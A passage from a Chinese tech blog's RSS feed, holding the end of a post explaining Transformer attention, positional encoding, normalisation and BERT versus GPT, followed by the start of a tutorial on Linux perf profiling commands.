&lt;li&gt;&lt;strong&gt;核心思想&lt;/strong&gt;：KV同源(来自编码器 Encoder)，QV不同源(来自解码器 Decoder)&lt;/li&gt;
&lt;li&gt;这是机器翻译或文生图任务中，源数据与目标数据交互的桥梁，从而来处理多模态任务。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3. &lt;code&gt;Mask Self-Attention&lt;/code&gt; 掩码自注意力机制&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;核心思想&lt;/strong&gt;：防止“偷看答案”(Preventing Information Leakage)。通过(上三角-inf)掩码矩阵 M 未来预测的位置为-inf ($e^{-\infty} \approx 0$)
&lt;ul&gt;
&lt;li&gt;填平训练阶段跟预测阶段的&lt;code&gt;gap&lt;/code&gt;: 训练时不应该像预测时那样一个词一个词串行地“蹦”，而应该通过Mask使得训练可以并行执行。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;如 GPT 等自回归(Auto-Regressive)模型：&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;4. &lt;code&gt;Multi-Head Self-Attention&lt;/code&gt; 多头自注意力机制&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;核心思想&lt;/strong&gt;：将输入&lt;strong&gt;投影到不同的&lt;code&gt;子空间&lt;/code&gt;&lt;/strong&gt;，实现多维度的特征提取。&lt;/li&gt;
&lt;li&gt;分、算、合: 用8组不同的权重矩阵(8头)将输入X投影到不同的低维子空间，并行计算输出向量$Z_i$(如代表对句子的某种独特理解)，$Z_i$头尾相接恢复为512维，经过最终一个线性层$W^O$全连接计算，得到输出Z，增强了模型的特征表达能力。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;理论计算开销对比&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;QKV 权重矩阵需要训练的参数量、计算量一致：($512 \times 512$)&lt;/li&gt;
&lt;li&gt;相似度/注意力权重分数计算量一致：($512 \times L^2$)&lt;/li&gt;
&lt;li&gt;输出融合计算量一致：($512 \times 512$)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;真正有影响的性能问题：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;显存开销&lt;/strong&gt;：8个注意力矩阵($L \times L$)，反向传播时要全部缓存进显存，即QKV空间复杂度高一个常数h头数。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;5. 为什么Attention可以做并行计算&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;矩阵并行，无前置依赖，GPU最喜欢的一集！（特指训练阶段）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;6. &lt;code&gt;Positional Encoding&lt;/code&gt; 位置编码&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;为什么 Self-Attention 需要位置编码？
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;核心痛点：&lt;/strong&gt; Self-Attention 机制是并行计算、乱序的。在模型眼里输入是一个集合Set而不是序列Sequence，&quot;I love you&quot;和&quot;You love I&quot;是完全一样的，因为自注意力纯粹只是看词与词之间的语义相似度。所以我们必须把位置信息添加进向量X中。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;通过线性变换表达相对位置，而非硬编码的绝对位置。
对第pos个位置的词元，其词向量的奇偶维度上的位置编码为：&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;$PE_{(pos, 2i)} = \sin\left(pos / 10000^{2i/d_{\text{model}}}\right)$
$PE_{(pos, 2i+1)} = \cos\left(pos / 10000^{2i/d_{\text{model}}}\right)$&lt;/p&gt;
&lt;p&gt;$X_{final}=X_{embedding}+PE$
P.S. 在高维空间(如512维)中，词嵌入分布非常稀疏，加上 PE 不怎么会混淆语义，保留了原本的维度&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;当i很小 (低维索引)时： 分母较小，波长短频率高，稍微换一下pos，数值就变了。此时PE负责区分精细的&lt;strong&gt;相邻&lt;/strong&gt;位置。&lt;/li&gt;
&lt;li&gt;当i很大 (高维索引)时： 分母极大，波长长频率低。此时PE负责区分&lt;strong&gt;长距离&lt;/strong&gt;的宏观位置（如开头结尾）。&lt;/li&gt;
&lt;li&gt;由三角函数的和差化积有：&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;$
\left{\begin{array}{l}
\mathrm{PE}(pos+k,2i)=\mathrm{PE}(pos,2i) \times \mathrm{PE}(k,2i+1)+\mathrm{PE}(pos,2i+1) \times \mathrm{PE}(k,2i)\
\mathrm{PE}(pos+k,2i+1)=\mathrm{PE}(pos,2i+1 )\times \mathrm{PE}(k,2i+1)-\mathrm{PE}(pos,2i) \times \mathrm{PE}(k,2i)
\end{array}\right.
$&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;这意味着：&lt;/strong&gt;
$$ {PE}&lt;em&gt;{pos+k} = \text{Linear}({PE}&lt;/em&gt;{pos}) $$&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;不管是哪一个 $pos$，只要两个词距离是 $k$，它们之间的联系(公式)就是固定的，是一个线性组合(变换)。${PE}&lt;em&gt;{pos+k}$ 都可以通过 ${PE}&lt;/em&gt;{pos}$ 乘以一个固定的&lt;strong&gt;线性旋转矩阵&lt;/strong&gt;得到，从而实现了不需要死记硬背每个绝对位置，只需要学习这个线性变换，就能理解单词之间的“相对距离”，即 &lt;strong&gt;平移不变性&lt;/strong&gt;(&lt;code&gt;Translation Invariance&lt;/code&gt;)。&lt;/li&gt;
&lt;li&gt;Q: 为什么不用 Learnable Embeddings（可学习的位置编码）
&lt;ul&gt;
&lt;li&gt;A: BERT 和 GPT 其实使用了可学习的位置编码（即把位置也当成参数训练出来，暴力训练出来的参数可能比人工设计的函数更能适配特定的任务）&lt;/li&gt;
&lt;li&gt;但在原版 Transformer 论文中选择正弦函数主要考虑了其&lt;strong&gt;外推性&lt;/strong&gt;(&lt;code&gt;Extrapolation&lt;/code&gt;)。哪怕训练时句子最长只有 100，模型通过学习这种“相对距离的旋转关系”，在预测时可能也能处理更长的序列，因为它学会的是“相对位置的变化规律”，而不是死记硬背每个绝对坐标。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;P.S. 机器学习的本质&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;$y=\sigma(wx+b)$: 通过多层非线性的变换(如深度学习)，学习到一个复杂的非线性映射，将原始数据点，“扭曲”映射到一个新的高维特征空间，在新的空间实现简单的区分。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;非线性变换&lt;/code&gt;的本质&lt;/strong&gt;: “空间坐标”的再定位&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;第三阶段：Transformer架构与预训练范式的确立&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;代表技术：&lt;/strong&gt; Transformer, GPT, BERT&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;核心范式：&lt;/strong&gt; &lt;code&gt;Self-Attention&lt;/code&gt; (自注意力机制) + &lt;code&gt;Pre-training &amp;amp; Fine-tuning&lt;/code&gt; (预训练-微调范式)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;NLP预训练的目的就是为了生成词向量&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;1. Transformer的革命：从时序依赖到全局并行&lt;/h3&gt;
&lt;p&gt;2017年， &lt;code&gt;《Attention Is All You Need》&lt;/code&gt; 的发表为 NLP 奠定了架构基础，而随后2018年的 &lt;code&gt;BERT&lt;/code&gt; 则开启了 NLP 的‘ImageNet时刻’。Transformer架构通过摒弃传统的循环神经网络（RNN/LSTM）和卷积神经网络（CNN）中的&lt;strong&gt;归纳偏置(Inductive Bias)&lt;/strong&gt;，完全基于 &lt;strong&gt;Attention&lt;/strong&gt; 机制构建深度网络。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;计算并行化 (Parallelization)：&lt;/strong&gt;
RNN类模型存在本质的&lt;strong&gt;时序依赖(Sequential Dependency)&lt;/strong&gt;，即 $t$ 时刻的状态计算必须等待 $t-1$ 时刻完成，这限制了GPU并行计算能力的发挥。Transformer 将输入序列视为整体矩阵，通过&lt;strong&gt;位置编码(Positional Encoding)&lt;strong&gt;注入序列信息，实现了训练过程的&lt;/strong&gt;完全并行化&lt;/strong&gt;，使得在亿级规模数据上进行训练成为可能。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;全局依赖建模 (Global Dependency Modeling)：&lt;/strong&gt;
在LSTM中，长距离的语义传递面临梯度消失风险。而Transformer利用Self-Attention机制，使得序列中任意两个Token之间的交互路径长度仅为 &lt;strong&gt;$O(1)$&lt;/strong&gt;。这意味着模型具有了&lt;strong&gt;全局感受视野&lt;/strong&gt;，能够瞬间捕捉长距离的句法和语义关联。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Transformer.png&quot; alt=&quot;Transformer Architecture&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Transformer Architecture&lt;/h3&gt;
&lt;p&gt;Transformer 整体架构由 &lt;strong&gt;Encoder（编码器）&lt;/strong&gt; 和 &lt;strong&gt;Decoder（解码器）&lt;/strong&gt; 组成。&lt;/p&gt;
&lt;h4&gt;(1) &lt;strong&gt;&lt;code&gt;Encoder&lt;/code&gt; 编码器&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;编码器：把输入变为一个词向量。其里面又有N个结构相同的编码器层（默认N=6,吃显存），每一个 Encoder Layer 内部包含：多头自注意力、前馈FFN、每次都做Add&amp;amp;Norm。&lt;/p&gt;
&lt;h4&gt;a. &lt;code&gt;Residual&lt;/code&gt; Connection 残差连接&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;公式：&lt;/strong&gt; $Output = \text{Layer}(x) + x$&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;核心痛点：梯度消失 (Gradient Vanishing)&lt;/strong&gt;
随着网络层数加深（比如堆到12层），在反向传播时，梯度需要连乘。如果每层导数都小于1，乘到最后梯度就趋近于0，导致底层参数不再更新，网络退化。所以引入残差链接在反向传播求导时，$\frac{\partial(x+f(x))}{\partial x} = 1 + f&apos;(x)$。&lt;/p&gt;
&lt;h4&gt;b. &lt;code&gt;LayerNorm&lt;/code&gt; 层归一化&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;公式：&lt;/strong&gt; $LN(x) = \frac{x - \mu}{\sigma} \cdot \gamma + \beta$&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;核心痛点：梯度爆炸与协变量偏移 (Internal Covariate Shift)&lt;/strong&gt;
在深度网络中，每一层的输入分布都在剧烈变化，导致后一层需要不断适应前一层，训练极不稳定，且容易出现梯度爆炸。所以强制把每一层的输出拉回到&lt;strong&gt;均值为0、方差为1&lt;/strong&gt;的标准正态分布，并且让数值保持在激活函数的敏感区间（这也是为什么说好的$\sigma()$的敏感区间一般都在N(0,1)）。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Q: &lt;strong&gt;为什么用 LayerNorm 而不用 BatchNorm？&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;BN&lt;/strong&gt; 是在这个 Batch 内所有样本的同一个特征维度上做归一化。这依赖于Batch_Size，且对于&lt;strong&gt;变长序列&lt;/strong&gt;（NLP句子长度不一）非常不友好，适合CV固定图片大小的大Batch_Size。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;LN&lt;/strong&gt; 是在&lt;strong&gt;同一个样本&lt;/strong&gt;的所有特征维度上做归一化。不管句子长短，也不管Batch大小，我自己归一化我自己。这天然适合 NLP 任务。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;c. Position-wise Feed-Forward Network (&lt;code&gt;FFN&lt;/code&gt;) 前馈网络&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;公式：&lt;/strong&gt; $FFN(x) = \text{ReLU}(xW_1 + b_1)W_2 + b_2$ “窄-宽-窄”的非线性全连接&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;作用：&lt;/strong&gt; 非线性变换与特征整合。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Attention 只是在做线性变换的“加权求和”，如果没有 FFN 中的激活函数(ReLU/GELU)，整个神经网络堆多少层都等价于一层线性变换，无法拟合复杂的非线性函数。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Position-wise&lt;/strong&gt; 的意思是：虽然全连接层的参数 $W_1, W_2$ 对所有词共享，但这个运算是对序列中的每一个词单独、并行进行的，词与词之间在这一步没有任何交互。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Encoder.png&quot; alt=&quot;Encoder Architecture&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;(2) &lt;strong&gt;&lt;code&gt;Decoder&lt;/code&gt; 解码器&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;解码器：根据Encoder提供的KV向量和已经生成的输出，继续生成输出。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Q&lt;/code&gt;来自Decoder的上一层输出，&lt;code&gt;KV&lt;/code&gt;来自Encoder最后一层输出(源语句的语义信息)，即&lt;strong&gt;KV注意力确定源语句哪些词对接下来的输出更重要&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;使用Masked Self-Attention防止“偷看答案”，Cross-Attention“多模态”分析，Position-wise FFN“窄-宽-窄”的非线性全连接&lt;/li&gt;
&lt;li&gt;Linear Layer(线性投影) + Softmax： 输出&lt;/li&gt;
&lt;li&gt;自回归生成(Autoregressive Generation)循环往复，直到输出“终止符”&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;TODO BERT and GPT&lt;/h3&gt;
&lt;h3&gt;2. BERT与GPT：自监督学习的两条路径&lt;/h3&gt;
&lt;p&gt;随着Transformer提供了强大的特征提取能力(Backbone)，NLP从“从头训练(Train from Scratch)”转向了&lt;strong&gt;预训练+微调&lt;/strong&gt;的工业化范式。即利用海量无标注文本进行**自监督学习(Self-Supervised Learning)**以获取通用的语言表征，随后在&lt;code&gt;下游任务&lt;/code&gt;(&lt;strong&gt;Downstream Tasks&lt;/strong&gt;)中进行参数微调/改造。&lt;/p&gt;
&lt;p&gt;基于对&lt;strong&gt;语言概率分布建模&lt;/strong&gt;方式的不同，发展出了两条截然不同的技术路线：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;GPT (&lt;code&gt;Generative Pre-Training&lt;/code&gt;) —— 自回归语言模型 (&lt;code&gt;Auto-Regressive&lt;/code&gt;, AR)&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;架构：&lt;/strong&gt; 基于 Transformer &lt;strong&gt;Decoder&lt;/strong&gt; 的单向结构。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;预训练目标：&lt;/strong&gt; 标准的语言模型目标(Likelihood)，即最大化条件概率 $P(w_t | w_{&amp;lt;t})$。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;技术特性：&lt;/strong&gt; 具有严格的因果掩码(Causal Masking)，只能利用上文信息预测下一个Token。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;适用场景：&lt;/strong&gt; &lt;strong&gt;自然语言生成 (NLG)&lt;/strong&gt;。它模拟了人类产生语言的过程，擅长文本续写、代码生成。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;演进逻辑：&lt;/strong&gt; 早期GPT在理解任务上弱于BERT，但OpenAI坚持这一路线，通过**Scaling Laws(扩展定律)**验证了随着参数量和数据量的指数级增加，模型能涌现出强大的少样本学习(Few-Shot)乃至零样本推理能力。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;BERT (&lt;code&gt;Bidirectional Encoder Representations&lt;/code&gt;) —— 自编码语言模型 (&lt;code&gt;Auto-Encoding&lt;/code&gt;, AE)&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;架构：&lt;/strong&gt; 基于 Transformer &lt;strong&gt;Encoder&lt;/strong&gt; 的双向结构。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;预训练目标：&lt;/strong&gt; &lt;strong&gt;掩码语言模型 (Masked Language Modeling, MLM)&lt;/strong&gt;。即随机Mask掉输入中的部分Token，利用上下文信息重建被Mask的词。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;技术特性：&lt;/strong&gt; 引入了&lt;strong&gt;深层双向注意力 (Deep Bidirectional Attention)&lt;/strong&gt;，能同时融合左右两侧的上下文信息，生成上下文相关的深层语义表征。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;适用场景：&lt;/strong&gt; &lt;strong&gt;自然语言理解 (NLU)&lt;/strong&gt;。在文本分类、命名实体识别（NER）、阅读理解等判别式任务上表现卓越。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;历史地位：&lt;/strong&gt; BERT的提出建立了NLP领域的&lt;strong&gt;通用特征提取标准&lt;/strong&gt;。它证明了在大规模语料上预训练的深层模型，可以轻松迁移到各种下游任务，大幅降低了特定任务的模型设计门槛。
&lt;strong&gt;总结：&lt;/strong&gt;
BERT选择了“看懂全文”，在理解任务上做到了极致；GPT选择了“预测未来”，最终通往了通用人工智能。两者本质上都是对海量数据中蕴含的语言规律进行&lt;strong&gt;高维压缩与表征&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;TODO NLG(文本生成), Question Answering(问答系统), RLHF(人类反馈强化学习), Prompt Engineering, In-context Learning, 思维链(Chain-of-Thought, CoT).&lt;/h2&gt;
&lt;hr /&gt;
&lt;h2&gt;总结：为什么是这样的发展历程？&lt;/h2&gt;
&lt;p&gt;回顾从Word2Vec到BERT/GPT的十年，这一历程并非偶然，而是由&lt;strong&gt;三个底层要素&lt;/strong&gt;共同推动的：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;算力的解放 (Hardware Lottery)：&lt;/strong&gt; &lt;code&gt;GPU/TPU&lt;/code&gt; 的并行算力 + Transformer这种为并行计算而生庞大的架构，允许我们堆叠出千亿参数的“怪物”。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;数据的觉醒 (Data)：&lt;/strong&gt; 从昂贵且稀缺的人工标注数据（Supervised Learning），到&lt;code&gt;预训练-微调范式&lt;/code&gt;开启的&lt;strong&gt;自监督学习(Self-Supervised Learning)&lt;/strong&gt;，让互联网上无穷无尽的“废话”变成了最有价值的&lt;strong&gt;基础&lt;/strong&gt;训练数据。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;认知的跃迁 (&lt;code&gt;Cognition Evolution&lt;/code&gt;)：&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Word2Vec时代：&lt;/strong&gt; 认为语言是&lt;strong&gt;符号的静态映射&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ELMo时代：&lt;/strong&gt; 认为语言是&lt;strong&gt;流动的上下文&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;BERT/GPT时代：&lt;/strong&gt; 认为语言是一种&lt;strong&gt;对世界逻辑的压缩&lt;/strong&gt;。
这一发展历程告诉我们：NLP的进步，不仅仅是算法的胜利，更是&lt;strong&gt;工程能力/算力与数据规模&lt;/strong&gt;量变引起质变的结果。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;参考文献：&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://www.cnblogs.com/nickchen121/p/16470569.html&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>Linux Perf</title><link>https://blog.alinche.dpdns.org/posts/profiler/perf/</link><guid isPermaLink="true">https://blog.alinche.dpdns.org/posts/profiler/perf/</guid><description>Linux Perf 工具</description><pubDate>Thu, 20 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;在 Linux 系统性能调优的世界里，&lt;strong&gt;Perf&lt;/strong&gt; (&lt;code&gt;Performance Counters for Linux&lt;/code&gt;) 基于 Linux 内核的 perf_events 子系统，能够利用 CPU 的硬件计数器(&lt;code&gt;PMU&lt;/code&gt;)和内核的监测点(&lt;code&gt;Tracepoints&lt;/code&gt;)，以极低的损耗分析系统和应用程序的性能表现。&lt;/p&gt;
&lt;h2&gt;0. 知己知彼：查看支持的事件&lt;/h2&gt;
&lt;p&gt;在使用 Perf 之前，首先需要知道当前硬件和内核支持哪些性能事件。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 列出所有支持的性能事件（Hardware, Software, Tracepoints 等）
perf list
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;1. Perf Stat&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;perf stat&lt;/code&gt; 是性能分析的&lt;strong&gt;第一步&lt;/strong&gt;，它能给出程序的整体性能概览（如 IPC、缓存命中率等），而不产生大量的数据文件。&lt;/p&gt;
&lt;h3&gt;基础性能指标&lt;/h3&gt;
&lt;p&gt;分析 CPU 周期、指令数以及各级缓存（L1, LLC）的负载与未命中情况：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo perf stat -e cycles,instructions,L1-dcache-load-misses,L1-dcache-loads,LLC-load-misses,LLC-loads,cache-misses,cache-references ./a.out
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;操作系统层面指标&lt;/h3&gt;
&lt;p&gt;关注上下文切换（Context Switches）和缺页异常（Page Faults），这对排查系统调用开销过大或内存抖动非常有用：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo perf stat -e cycles,instructions,cache-misses,cache-references,page-faults,context-switches ./a.out
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;内核子系统追踪&lt;/h3&gt;
&lt;p&gt;利用 Tracepoints 监控内存分配（kmem）和调度器切换（sched）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo perf stat -e kmem:mm_page_alloc,sched:sched_switch ./a.out
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;精准测量技巧：&lt;/h3&gt;
&lt;p&gt;为了获取更准确的数据，我们通常使用以下参数：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-d&lt;/code&gt; / &lt;code&gt;-vvv 2&amp;gt;&amp;amp;1 | tee perf.log&lt;/code&gt;: 输出更详细的统计数据（Detailed）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-r 5&lt;/code&gt;: 重复运行 5 次并计算标准差，排除波动干扰。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-p &amp;lt;PID&amp;gt;&lt;/code&gt;: 挂载到正在运行的进程上。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;taskset -c 0&lt;/code&gt;: 绑定 CPU 核心，减少进程迁移带来的缓存失效干扰。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;2. 寻找热点：Perf Record &amp;amp; Report&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;当 &lt;code&gt;stat&lt;/code&gt; 告诉你“&lt;strong&gt;性能有问题&lt;/strong&gt;”时，&lt;code&gt;record&lt;/code&gt; 配合 &lt;code&gt;report&lt;/code&gt; 能告诉你“&lt;strong&gt;哪个函数有问题&lt;/strong&gt;”。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;采样与记录&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-g&lt;/code&gt;: 开启调用栈记录（Call Graph），这是分析函数调用关系的关键。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-F 99&lt;/code&gt;: 长期采样设置采样频率为 99Hz（避免与 100Hz 的时钟中断重叠，防止锁步效应），短期采样可以不手动设置采样频率。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-c 10000&lt;/code&gt;: 按事件周期采样（每发生10000次指定事件才采样一次）&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;sudo perf record -g ./a.out
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;过滤干扰 -e&lt;/h3&gt;
&lt;p&gt;有时候我们只关心某个特定问题：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 只记录用户态周期 (:u)
sudo perf record -e cycles:u ./a.out
# 只记录内核态周期 (:k)
sudo perf record -e cycles:k ./a.out
# 只记录LLC-load-misses
sudo perf record -g -e LLC-load-misses ./a.out
# 显示源码行号
sudo perf report -g -F+period,srcline
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;report 生成报告&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 生成文本格式报告并保存
sudo perf report -n --stdio &amp;gt; report.md
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;3. 代码级分析：Perf Annotate&lt;/h2&gt;
&lt;p&gt;如果说 &lt;code&gt;perf report&lt;/code&gt; 告诉你“&lt;strong&gt;哪个函数&lt;/strong&gt;”慢，那么 &lt;code&gt;perf annotate&lt;/code&gt; 就能告诉你“&lt;strong&gt;哪行代码&lt;/strong&gt;”慢，甚至能精确到“&lt;strong&gt;哪条汇编指令&lt;/strong&gt;”是瓶颈。&lt;/p&gt;
&lt;h3&gt;指定数据源分析&lt;/h3&gt;
&lt;p&gt;默认情况下 &lt;code&gt;perf annotate&lt;/code&gt; 会读取当前目录下的 &lt;code&gt;perf.data&lt;/code&gt;。但在实际工作中，我们经常需要分析历史数据，或者在服务器录制数据后下载到本地分析。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 读取指定的性能数据文件进行汇编级分析
sudo perf annotate -i perf.data
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;TUI 交互模式&lt;/h3&gt;
&lt;p&gt;当你在终端运行上述命令时，会进入一个基于 TUI (Text User Interface) 的交互界面。这是专家最常用的模式。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;界面解读&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;左侧列：&lt;strong&gt;Percent&lt;/strong&gt;，显示该指令采样占总采样的百分比。&lt;/li&gt;
&lt;li&gt;中间列：&lt;strong&gt;汇编指令&lt;/strong&gt;（如 &lt;code&gt;mov&lt;/code&gt;, &lt;code&gt;add&lt;/code&gt;, &lt;code&gt;cmp&lt;/code&gt; 等）。&lt;/li&gt;
&lt;li&gt;右侧/混合：&lt;strong&gt;源代码&lt;/strong&gt;（如果编译时带了 &lt;code&gt;-g&lt;/code&gt; 且源码在路径下）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;常用快捷键&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;h&lt;/code&gt;：显示帮助菜单。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;H&lt;/code&gt; / &lt;code&gt;Tab&lt;/code&gt;：循环跳转到最热的指令。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;k&lt;/code&gt;：显示源码的行号。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Enter&lt;/code&gt;：选中某条指令或函数，查看更详细的跳转来源或定义。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;q&lt;/code&gt; / &lt;code&gt;Esc&lt;/code&gt;：退出当前视图或返回上一级。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/&lt;/code&gt;：搜索特定的函数名或汇编指令。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;过滤与精准定位&lt;/h3&gt;
&lt;p&gt;在一个庞大的项目中，直接运行 &lt;code&gt;annotate&lt;/code&gt; 可能会列出所有函数，导致查找困难。我们可以配合过滤器使用：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 1. 指定符号（函数名）
sudo perf annotate -i perf.data -s function_name
# 2. 指定动态库/内核模块 (DSO)
sudo perf annotate -i perf.data -d libc.so.6
# 3. 指定内核
sudo perf annotate -i perf.data --vmlinux /boot/vmlinux-$(uname -r)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;导出为文本报告&lt;/h3&gt;
&lt;p&gt;如果你需要在 CI/CD 流水线中展示，或者习惯用文本编辑器查看，可以使用 &lt;code&gt;--stdio&lt;/code&gt; 模式：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 将汇编级分析结果输出到终端或文件
sudo perf annotate -i perf.data --stdio &amp;gt; annotation.log
# 配合 -n 显示样本数量，而不只是百分比
sudo perf annotate -i perf.data --stdio -n
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;技巧分享：&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;查找“最长”的条柱&lt;/strong&gt;：在 TUI 界面中，百分比最高的行通常是红色的。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;分辨指令类型&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;高 &lt;code&gt;cmp&lt;/code&gt; / &lt;code&gt;test&lt;/code&gt;&lt;/strong&gt;：往往意味着分支预测失败或循环次数过多。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;高 &lt;code&gt;mov&lt;/code&gt;&lt;/strong&gt;：通常是 &lt;strong&gt;Cache Miss&lt;/strong&gt; 的重灾区。如果一条简单的内存加载指令耗时极高，说明 CPU 在等待内存数据（L3 Miss 甚至内存访问）。&lt;/li&gt;
